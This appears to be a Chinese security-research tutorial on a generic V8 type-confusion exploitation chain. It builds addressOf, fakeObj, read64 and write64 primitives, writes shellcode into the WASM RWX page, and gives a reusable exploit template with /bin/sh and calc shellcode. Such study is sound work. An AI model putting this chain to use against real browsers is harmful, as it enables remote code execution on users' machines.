作者:hcamael@知道创宇404实验室
相关阅读:从 0 开始学 V8 漏洞利用之环境搭建(一)经过一段时间的研究,先进行一波总结,不过因为刚开始研究没多久,也许有一些局限性,以后如果发现了,再进行修正。
概述
我认为,在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目,大部分情况下,目标都是执行system(/bin/sh)或者execve(/bin/sh,0,0)。
在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode。当有了这个目标后,下一步就是思考,怎么写shellcode呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode的内存段。
接下来将会根据该逻辑来反向总结一波v8的利用过程。
调试V8程序
在总结v8的利用之前,先简单说说v8的调试。
1.把该文件v8/tools/gdbinit,加入到~/.gdbinit中:
代码语言:javascript 代码运行次数:0运行复制
$ cp v8/tools/gdbinit gdbinit_v8$ cat ~/.gdbinitsource /home/ubuntu/pwndbg/gdbinit.pysource /home/ubuntu/gdbinit_v8
2.使用%DebugPrint(x);来输出变量x的相关信息
3.使用%SystemBreak();来抛出int3,以便让gdb进行调试
示例代码语言:javascript 代码运行次数:0运行复制
$ cat test.jsa = [1];%DebugPrint(a);%SystemBreak();
如果直接使用d8运行,会报错:
代码语言:javascript 代码运行次数:0运行复制
$ ./d8 test.jstest.js:2: SyntaxError: Unexpected token '%'%DebugPrint(a);^SyntaxError: Unexpected token '%'
因为正常情况下,js是没有%这种语法的,需要加入--allow-natives-syntax参数:
代码语言:javascript 代码运行次数:0运行复制
$ ./d8 --allow-natives-syntax test.jsDebugPrint: 0x37640804965d: [JSArray] - map: 0x376408203a41 [FastProperties] - prototype: 0x3764081cc139 - elements: 0x3764081d30d1 [PACKED_SMI_ELEMENTS (COW)] - length: 1 - properties: 0x37640800222d - All own properties (excluding elements): { 0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d (const accessor descriptor), location: descriptor } - elements: 0x3764081d30d1 { 0: 1 }0x376408203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x3764080023b5 - prototype_validity cell: 0x376408142405 - instance descriptors #1: 0x3764081cc5ed - transitions #1: 0x3764081cc609 Transition array #1: 0x376408005245 : (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 - prototype: 0x3764081cc139 - constructor: 0x3764081cbed5 - dependent code: 0x3764080021b9 - construction counter: 0[1] 35375 trace trap ./d8 --allow-natives-syntax test.js
接下来试试使用gdb来调试该程序:
代码语言:javascript 代码运行次数:0运行复制
$ gdb d8pwndbg> r --allow-natives-syntax test.js[New Thread 0x7f6643a61700 (LWP 35431)][New Thread 0x7f6643260700 (LWP 35432)][New Thread 0x7f6642a5f700 (LWP 35433)][New Thread 0x7f664225e700 (LWP 35434)][New Thread 0x7f6641a5d700 (LWP 35435)][New Thread 0x7f664125c700 (LWP 35436)][New Thread 0x7f6640a5b700 (LWP 35437)]DebugPrint: 0x3a0c08049685: [JSArray] - map: 0x3a0c08203a41 [FastProperties] - prototype: 0x3a0c081cc139 - elements: 0x3a0c081d30d1 [PACKED_SMI_ELEMENTS (COW)] - length: 1 - properties: 0x3a0c0800222d - All own properties (excluding elements): { 0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d (const accessor descriptor), location: descriptor } - elements: 0x3a0c081d30d1 { 0: 1 }0x3a0c08203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x3a0c080023b5 - prototype_validity cell: 0x3a0c08142405 - instance descriptors #1: 0x3a0c081cc5ed - transitions #1: 0x3a0c081cc609 Transition array #1: 0x3a0c08005245 : (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 - prototype: 0x3a0c081cc139 - constructor: 0x3a0c081cbed5 - dependent code: 0x3a0c080021b9 - construction counter: 0
然后就能使用gdb命令来查看其内存布局了,另外在之前v8提供的gdbinit中,加入了一些辅助调试的命令,比如job,作用跟%DebufPrint差不多:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> job 0x3a0c080496850x3a0c08049685: [JSArray] - map: 0x3a0c08203a41 [FastProperties] - prototype: 0x3a0c081cc139 - elements: 0x3a0c081d30d1 [PACKED_SMI_ELEMENTS (COW)] - length: 1 - properties: 0x3a0c0800222d - All own properties (excluding elements): { 0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d (const accessor descriptor), location: descriptor } - elements: 0x3a0c081d30d1 { 0: 1 }
不过使用job命令的时候,其地址要是其真实地址+1,也就是说,在上面的样例中,其真实地址为:0x3a0c08049684:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> x/4gx 0x3a0c08049685-10x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d10x3a0c08049694: 0x0000000000000000 0x0000000000000000
如果使用job命令,后面跟着的是其真实地址,会被解析成SMI(small integer)类型:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> job 0x3a0c08049685-1Smi: 0x4024b42 (67259202)
0x4024b42 * 2 == 0x8049684 (SMI只有32bit)
对d8进行简单的调试只要知道这么多就够了。
WASM
现如今的浏览器 基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。
我们来调试看看:
测试代码:
代码语言:javascript 代码运行次数:0运行复制
$ cat test.js%SystemBreak();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();
然后使用gdb进行调试,在第一个断点的时候,使用vmmap来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。
在第二个断点的时候,我们再运行一次vmmap来查看内存段:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> vmmap0x1aca69e92000 0x1aca69e93000 rwxp 1000 0 [anon_1aca69e92]
因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到改地址呢?
首先我们来看看变量f的信息:
代码语言:javascript 代码运行次数:0运行复制
DebugPrint: 0x24c6081d3645: [Function] in OldSpace - map: 0x24c6082049e1 [FastProperties] - prototype: 0x24c6081c3b5d - elements: 0x24c60800222d [HOLEY_ELEMENTS] - function prototype: - shared_info: 0x24c6081d3621 - name: 0x24c6080051c5 - builtin: GenericJSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x24c6081c3649 - code: 0x24c60000b3a1 - Wasm instance: 0x24c6081d3509 - Wasm function index: 0 - properties: 0x24c60800222d - All own properties (excluding elements): { 0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 (const accessor descriptor), location: descriptor 0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 (const accessor descriptor), location: descriptor 0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d (const accessor descriptor), location: descriptor 0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI0x24c6082049e1: [Map] - type: JS_FUNCTION_TYPE - instance size: 28 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - callable - back pointer: 0x24c6080023b5 - prototype_validity cell: 0x24c608142405 - instance descriptors (own) #4: 0x24c6081d0735 - prototype: 0x24c6081c3b5d - constructor: 0x24c608002235 - dependent code: 0x24c6080021b9 - construction counter: 0
可以发现这是一个函数对象,我们来查看一下f的shared _info结构的信息:
代码语言:javascript 代码运行次数:0运行复制
- shared_info: 0x24c6081d3621 pwndbg> job 0x24c6081d36210x24c6081d3621: [SharedFunctionInfo] in OldSpace - map: 0x24c6080025f9 - name: 0x24c6080051c5 - kind: NormalFunction - syntax kind: AnonymousExpression - function_map_index: 185 - formal_parameter_count: 0 - expected_nof_properties: - language_mode: sloppy - data: 0x24c6081d35f5 - code (from data): 0x24c60000b3a1 - script: 0x24c6081d3491 - function token position: 88 - start position: 88 - end position: 92 - no debug info - scope info: 0x24c608002739 - length: 0 - feedback_metadata:
接下里再查看其data结构:
代码语言:javascript 代码运行次数:0运行复制
- data: 0x24c6081d35f5 pwndbg> job 0x24c6081d35f50x24c6081d35f5: [WasmExportedFunctionData] in OldSpace - map: 0x24c608002e7d - target: 0x1aca69e92000 - ref: 0x24c6081d3509 - wrapper_code: 0x24c60000b3a1 - instance: 0x24c6081d3509 - function_index: 0 - signature: 0x24c608049bd1 - wrapper_budget: 1000
在查看instance结构:
代码语言:javascript 代码运行次数:0运行复制
- instance: 0x24c6081d3509 pwndbg> job 0x24c6081d35090x24c6081d3509: [WasmInstanceObject] in OldSpace - map: 0x24c608207439 [FastProperties] - prototype: 0x24c608048259 - elements: 0x24c60800222d [HOLEY_ELEMENTS] - module_object: 0x24c6080499e5 - exports_object: 0x24c608049b99 - native_context: 0x24c6081c3649 - memory_object: 0x24c6081d34f1 - table 0: 0x24c608049b69 - imported_function_refs: 0x24c60800222d - indirect_function_table_refs: 0x24c60800222d - managed_native_allocations: 0x24c608049b21 - memory_start: 0x7f6e20000000 - memory_size: 65536 - memory_mask: ffff - imported_function_targets: 0x55a2eca392f0 - globals_start: (nil) - imported_mutable_globals: 0x55a2eca39310 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x24c60800222d - All own properties (excluding elements): {}
仔细查看能发现,instance结构就是js代码中的wasmInstance变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);,所以也会输出该结构的信息,可以去对照看看。
我们再来查看这个结构的内存布局:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> x/16gx 0x24c6081d3509-10x24c6081d3508: 0x0800222d08207439 0x200000000800222d0x24c6081d3518: 0x0001000000007f6e 0x0000ffff000000000x24c6081d3528: 0xeca1448000000000 0x0800222d000055a20x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d0x24c6081d3548: 0x0000000000000000 0x00000000000000000x24c6081d3558: 0x0000000000000000 0x000055a2eca393100x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000
仔细看,能发现,rwx段的起始地址储存在instance+0x68的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。
根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode了。
任意读写
最近我研究的几个V8的漏洞,任意读写都是使用的一个套路,目前我是觉得这个套路很通用的,感觉V8相关的利用都是用这类套路。(不过我学的时间短,这块的眼界也相对短浅,以后可能会遇到其他情况)
首先来看看JavaScript的两种类型的变量的结构:
代码语言:javascript 代码运行次数:0运行复制
$ cat test.jsa = [2.1];b = {"a": 1};c = [b];%DebugPrint(a);%DebugPrint(b);%DebugPrint(c);%SystemBreak();
首先是变量a的结构:
代码语言:javascript 代码运行次数:0运行复制
DebugPrint: 0xe07080496d1: [JSArray] - map: 0x0e0708203ae1 [FastProperties] - prototype: 0x0e07081cc139 - elements: 0x0e07080496c1 [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x0e070800222d - All own properties (excluding elements): { 0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d (const accessor descriptor), location: descriptor } - elements: 0x0e07080496c1 { 0: 2.1 }pwndbg> job 0x0e07080496c10xe07080496c1: [FixedDoubleArray] - map: 0x0e0708002a95 - length: 1 0: 2.1pwndbg> x/8gx 0xe07080496d1-10xe07080496d0: 0x0800222d08203ae1 0x00000002080496c10xe07080496e0: 0x0800222d08207961 0x000000020800222d0xe07080496f0: 0x0001000108005c31 0x080021f9000000000xe0708049700: 0x0000008808007aad 0x0800220500000002pwndbg> x/8gx 0x0e07080496c1-10xe07080496c0: 0x0000000208002a95 0x4000cccccccccccd0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c10xe07080496e0: 0x0800222d08207961 0x000000020800222d0xe07080496f0: 0x0001000108005c31 0x080021f900000000
变量a的结构如下:
代码语言:javascript 代码运行次数:0运行复制
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|
因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的,所以只需要保存低32bit的地址就行了。
elements结构保存了数组的值,结构为:
代码语言:javascript 代码运行次数:0运行复制
| 32 bit map addr | 32 bit length | value ......
变量a结构中的length,表示的是当前数组的已经使用的长度,elements表示该数组已经申请的长度,申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍,为啥这么设计,暂时还没了解。
仔细研究上面的内存布局,能发现,elements结构之后是紧跟着变量a的结构。很多洞都是这个时候让变量a溢出,然后这样就可以读写其结构的map和length的值。
接下来在一起看看变量b和c:
代码语言:javascript 代码运行次数:0运行复制
变量c:DebugPrint: 0xe0708049719: [JSArray] - map: 0x0e0708203b31 [FastProperties] - prototype: 0x0e07081cc139 - elements: 0x0e070804970d [PACKED_ELEMENTS] - length: 1 - properties: 0x0e070800222d - All own properties (excluding elements): { 0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d (const accessor descriptor), location: descriptor } - elements: 0x0e070804970d { 0: 0x0e07080496e1 }变量b:DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE] - map: 0x0e0708207961 [FastProperties] - prototype: 0x0e07081c4205 - elements: 0x0e070800222d [HOLEY_ELEMENTS] - properties: 0x0e070800222d - All own properties (excluding elements): { 0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object }pwndbg> job 0x0e070804970d0xe070804970d: [FixedArray] - map: 0x0e0708002205 - length: 1 0: 0x0e07080496e1 pwndbg> x/8gx 0xe0708049719-10xe0708049718: 0x0800222d08203b31 0x000000020804970d0xe0708049728: 0x0000000000000000 0x00000000000000000xe0708049738: 0x0000000000000000 0x00000000000000000xe0708049748: 0x0000000000000000 0x0000000000000000pwndbg> x/8gx 0x0e070804970d-10xe070804970c: 0x0000000208002205 0x08203b31080496e10xe070804971c: 0x0804970d0800222d 0x00000000000000020xe070804972c: 0x0000000000000000 0x00000000000000000xe070804973c: 0x0000000000000000 0x0000000000000000
变量c的结构和变量a的基本上是一样的,只是变量a储存的是double类型的变量,所以value都是64bit的,而变量c储存的是对象类型的变量,储存的是地址,也对地址进行了压缩,所以长度是32bit。
任意变量地址读
既然内存结构这么一致,那么使用a[0]或者c[0]取值的时候,js是怎么判断结构类型的呢?通过看代码,或者gdb实际测试都能发现,是根据变量结构的map值来确定的。
也就是说如果我把变量c的map地址改成变量a的,那么当我执行c[0]的时候,获取到的就是变量b的地址了。这样,就能达到任意变量地址读的效果,步骤如下:
1.把c[0]的值设置为你想获取地址的变量,比如c[0]=a;。
2.然后通过漏洞,把c的map地址修改成a的map地址。
3.读取c[0]的值,该值就为变量a的低32bit地址。
在本文说的套路中,上述步骤被封装为addressOf函数。
该逻辑还达不到任意地址读的效果,所以还需要继续研究。
double to object
既然我们可以把对象数组变为浮点型数组,那么是不是也可以把浮点型数组变为对象数组,步骤如下:
1.把a[0]的值设置为自己构造的某个对象的地址还需要加1。
2.然后通过漏洞,把a的map地址修改成c的map地址。
3.获取a[0]的值
这个过程可以封装为fakeObj函数。
任意读
这个时候我们构造这样一个变量:
代码语言:javascript 代码运行次数:0运行复制
var fake_array = [ double_array_map, itof(0x4141414141414141n)];
该变量的结构大致如下:
代码语言:javascript 代码运行次数:0运行复制
| 32 bit elements map | 32 bit length | 64 bit double_array_map || 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties || 32 bit elements | 32 bit length|
根据分析,理论上来说布局应该如上所示,但是会根据漏洞不通,导致堆布局不通,所以导致elements地址的不同,具体情况,可以写exp的时候根据通过调试来判断。
所以我可以使用addressOf获取fake_array地址:var fake_array_addr = addressOf(fake_array);。
计算得到fake_object_addr = fake_array_addr - 0x10n;,然后使用fakeObj函数,得到你构造的对象:var fake_object = fakeObj(fake_object_addr);
这个时候不要去查看fake_object的内容,因为其length字段和elements字段都被设置为了无效值(0x41414141)。
这个时候我们就能通过fake_array数组来达到任意读的目的了,下面就是一个通用的任意读函数read64:
代码语言:javascript 代码运行次数:0运行复制
function read64(addr){ fake_array[1] = itof(addr - 0x8n + 0x1n); return fake_object[0];}
任意写
同理,也能构造出任意写write64:
代码语言:javascript 代码运行次数:0运行复制
function write64(addr, data){ fake_array[1] = itof(addr - 0x8n + 0x1n); fake_object[0] = itof(data);}
我们可以这么理解上述过程,fakeObj对象相当于把把浮点数数组变量a改成了二维浮点数数组:a = [[1.1]],而fake_array[1]值的内存区域属于fake_object对象的elements和length字段的位置,所以我们可以通过修改fake_array[1]的值,来控制fake_object,以达到任意读写的效果。
写shellcode
不过上述的任意写却没办法把我们的shellcode写到rwx区域,因为写入的地址=实际地址-0x8+0x1,前面还需要有8字节的map地址和length,而rwx区域根据我们调试的时候看到的内存布局,需要从该内存段的起始地址开始写,所以该地址-0x8+0x1是一个无效地址。
所以需要另辟蹊径,来看看下面的代码:
代码语言:javascript 代码运行次数:0运行复制
$ cat test.jsvar data_buf = new ArrayBuffer(0x10);var data_view = new DataView(data_buf);data_view.setFloat64(0, 2.0, true);%DebugPrint(data_buf);%DebugPrint(data_view);%SystemBreak();
首先看看data_buf变量的结构:
代码语言:javascript 代码运行次数:0运行复制
DebugPrint: 0x2ead0804970d: [JSArrayBuffer] - map: 0x2ead08203271 [FastProperties] - prototype: 0x2ead081ca3a5 - elements: 0x2ead0800222d [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x555c12bb9050 - byte_length: 16 - detachable - properties: 0x2ead0800222d - All own properties (excluding elements): {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) }
再来看看backing_store字段的内存:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> x/8gx 0x555c12bb90500x555c12bb9050: 0x4000000000000000 0x00000000000000000x555c12bb9060: 0x0000000000000000 0x00000000000000410x555c12bb9070: 0x0000555c12bb9050 0x00000000000000100x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8
double型的2.0以十六进制表示就是0x4000000000000000,所以可以看出data_buf变量的值存储在一段连续的内存区域中,通过backing_store指针指向该内存区域。
所以我们可以利用该类型,通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的。
看看backing_store字段在data_buf变量结构中的位置:
代码语言:javascript 代码运行次数:0运行复制
pwndbg> x/16gx 0x2ead0804970d-10x2ead0804970c: 0x0800222d08203271 0x000000100800222d0x2ead0804971c: 0x0000000000000000 0x12bb9050000000000x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c0x2ead0804973c: 0x0000000000000000 0x00000000000000000x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d0x2ead0804975c: 0x0000000000000000 0x00000000000000100x2ead0804976c: 0x0000555c12bb9050 0x00000000000000000x2ead0804977c: 0x0000000000000000 0x0000000000000000
发现backing_store的地址属于data_buf + 0x1C,这个偏移在不同版本的v8中也是有一些区别 的,所以写exp的时候,可以根据上面的步骤来进行计算。
根据上述的思路,我们可以写出copy_shellcode_to_rwx函数:
代码语言:javascript 代码运行次数:0运行复制
function copy_shellcode_to_rwx(shellcode, rwx_addr){ var data_buf = new ArrayBuffer(shellcode.length * 8); var data_view = new DataView(data_buf); var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n; var lov = d2u(read64(buf_backing_store_addr_lo))[0]; var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]); var hiv = d2u(read64(buf_backing_store_addr_up))[1]; var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]); var buf_backing_store_addr = ftoi(u2d(lov, hiv)); console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr)); write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo)); write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi)); for (let i = 0; i < shellcode.length; ++i) data_view.setFloat64(i * 8, itof(shellcode[i]), true);}
利用
在linux 环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode,就可以这样:
代码语言:javascript 代码运行次数:0运行复制
var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n];copy_shellcode_to_rwx(shellcode, rwx_page_addr);f();
如果想执行windows 的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:
代码语言:javascript 代码运行次数:0运行复制
var shellcode = [ 0xc0e8f0e48348fcn, 0x5152504151410000n, 0x528b4865d2314856n, 0x528b4818528b4860n, 0xb70f4850728b4820n, 0xc03148c9314d4a4an, 0x41202c027c613cacn, 0xede2c101410dc9c1n, 0x8b20528b48514152n, 0x88808bd001483c42n, 0x6774c08548000000n, 0x4418488b50d00148n, 0x56e3d0014920408bn, 0x4888348b41c9ff48n, 0xc03148c9314dd601n, 0xc101410dc9c141acn, 0x244c034cf175e038n, 0x4458d875d1394508n, 0x4166d0014924408bn, 0x491c408b44480c8bn, 0x14888048b41d001n, 0x5a595e58415841d0n, 0x83485a4159415841n, 0x4158e0ff524120ecn, 0xff57e9128b485a59n, 0x1ba485dffffn, 0x8d8d480000000000n, 0x8b31ba4100000101n, 0xa2b5f0bbd5ff876fn, 0xff9dbd95a6ba4156n, 0x7c063c28c48348d5n, 0x47bb0575e0fb800an, 0x894159006a6f7213n, 0x2e636c6163d5ffdan, 0x657865n,];copy_shellcode_to_rwx(shellcode, rwx_page_addr);f();
其他
在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:
代码语言:javascript 代码运行次数:0运行复制
var f64 = new Float64Array(1);var bigUint64 = new BigUint64Array(f64.buffer);var u32 = new Uint32Array(f64.buffer);function ftoi(f){ f64[0] = f; return bigUint64[0];}function itof(i){ bigUint64[0] = i; return f64[0];}function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0];}function d2u(v) { f64[0] = v; return u32;}
因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoi和itof来进行浮点型和64bit的整数互相转换。
但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2d和d2u两个,把浮点型和32bit整数进行互相转换的函数。
最后还有一个hex函数,就是方便我们查看值:
代码语言:javascript 代码运行次数:0运行复制
function hex(i){ return i.toString(16).padStart(8, "0");}
总结
目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:
代码语言:javascript 代码运行次数:0运行复制
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;var f64 = new Float64Array(1);var bigUint64 = new BigUint64Array(f64.buffer);var u32 = new Uint32Array(f64.buffer);function d2u(v) { f64[0] = v; return u32;}function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0];}function ftoi(f){ f64[0] = f; return bigUint64[0];}function itof(i){ bigUint64[0] = i; return f64[0];}function hex(i){ return i.toString(16).padStart(8, "0");}function fakeObj(addr_to_fake){ ?}function addressOf(obj_to_leak){ ?}function read64(addr){ fake_array[1] = itof(addr - 0x8n + 0x1n); return fake_object[0];}function write64(addr, data){ fake_array[1] = itof(addr - 0x8n + 0x1n); fake_object[0] = itof(data);}function copy_shellcode_to_rwx(shellcode, rwx_addr){ var data_buf = new ArrayBuffer(shellcode.length * 8); var data_view = new DataView(data_buf); var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n; var lov = d2u(read64(buf_backing_store_addr_lo))[0]; var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]); var hiv = d2u(read64(buf_backing_store_addr_up))[1]; var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]); var buf_backing_store_addr = ftoi(u2d(lov, hiv)); console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr)); write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo)); write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi)); for (let i = 0; i < shellcode.length; ++i) data_view.setFloat64(i * 8, itof(shellcode[i]), true);}var double_array = [1.1];var obj = {"a" : 1};var obj_array = [obj];var array_map = ?;var obj_map = ?;var fake_array = [ array_map, itof(0x4141414141414141n)];fake_array_addr = addressOf(fake_array);console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));fake_object_addr = fake_array_addr - 0x10n;var fake_object = fakeObj(fake_object_addr);var wasm_instance_addr = addressOf(wasmInstance);console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));var rwx_page_addr = read64(wasm_instance_addr + 0x68n);console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n];copy_shellcode_to_rwx(shellcode, rwx_page_addr);f();
其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。
之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。
以上就是从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)的详细内容,更多请关注创想鸟其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/29717.html
赞 (0)
打赏
微信扫一扫
支付宝扫一扫
Debian系统如何更新TigerVNC
上一篇
2025年11月3日 13:55:31
Debian上Tomcat日志文件过大怎么办
下一篇
2025年11月3日 14:00:19
相关推荐
灵活展示图片:如何不拉伸不裁剪 在界面设计中,常常需要以原尺寸展示用户上传的图片。本文将介绍一种在 uniapp 框架中实现该功能的简单方法。 对于不同尺寸的图片,可以采用以下处理方式: 极端宽高比:撑满屏幕宽度或高度,再等比缩放居中。非极端宽高比:居中显示,若能撑满则撑满。 然而,如果需要不拉伸不…
如何在不影响用户界面的情况下实现控制台乱码? 当在小说网站上下载小说时,大家可能会遇到一个问题:网站上的文本在网页内正常显示,但是在控制台中却是乱码。如何实现此类操作,从而在不影响用户界面(UI)的情况下保持控制台乱码呢? 答案在于使用自定义字体。网站可以通过在服务器端配置自定义字体,并通过在客户端…
地图上气泡信息框的巧妙生成 地图上气泡信息框是一种常用的交互功能,它简便易用,能够为用户提供额外信息。本文将探讨如何借助地图库的功能轻松创建这一功能。 利用地图库的原生功能 大多数地图库,如高德地图,都提供了现成的信息窗体和右键菜单功能。这些功能可以通过以下途径实现: 高德地图 JS API 参考文…
如何实现元素scrollleft变化时的平滑动画效果? 在许多网页应用中,滚动容器的水平滚动条(scrollleft)需要频繁使用。为了让滚动动作更加自然,你希望给scrollleft的变化添加动画效果。 解决方案:scroll-behavior 属性 要实现scrollleft变化时的平滑动画效果…
给滚动元素平滑过渡 如何在滚动条属性(scrollleft)发生改变时为元素添加平滑的过渡效果? 解决方案:scroll-behavior 属性 为滚动容器设置 scroll-behavior 属性可以实现平滑滚动。 html 代码: click the button to slide right!…
灵活选择元素个数不固定的指定类名子元素 在网页布局中,有时需要选择特定类名的子元素,但这些元素的数量并不固定。例如,下面这段 html 代码中,activebar 和 item 元素的数量均不固定: *n *n 如果需要选择第一个 item元素,可以使用 css 选择器 :nth-child()。该…
使用 svg 实现自定义虚线边框 如何实现一个具有自定义宽度、间距和半径的虚线边框是一个常见的前端开发问题。传统的解决方案通常涉及使用 border-image 引入切片图片,但是这种方法存在引入外部资源、性能低下的缺点。 为了避免上述问题,可以使用 svg(可缩放矢量图形)来创建纯代码实现。一种方…
如何让 元素跟随文本高度,而不是撑高父容器 在页面布局中,经常遇到父容器高度被子元素撑开的问题。在图例所示的案例中,父容器被较高的图片撑开,而文本的高度没有被考虑。本问答将提供纯css解决方案,让图片跟随文本高度,确保父容器的高度不会被图片影响。 解决方法 为了解决这个问题,需要将图片从文档流中脱离…
css元素设置em和transition后,为何载入无放大效果 很多开发者在设置了em和transition后,却发现元素载入页面时无放大效果。本文将解答这一问题。 原问题:在视频演示中,将元素设置如下,载入页面会有放大效果。然而,在个人尝试中,并未出现该效果。这是由于macos和windows系统…
解决 css mask 属性未请求图片的问题 在使用 css mask 属性时,指定了图片地址,但网络面板显示未请求获取该图片,这可能是由于浏览器兼容性问题造成的。 问题 如下代码所示: 立即学习“前端免费学习笔记(深入)”; icon [data-icon=”cloud”] { –icon-cl…
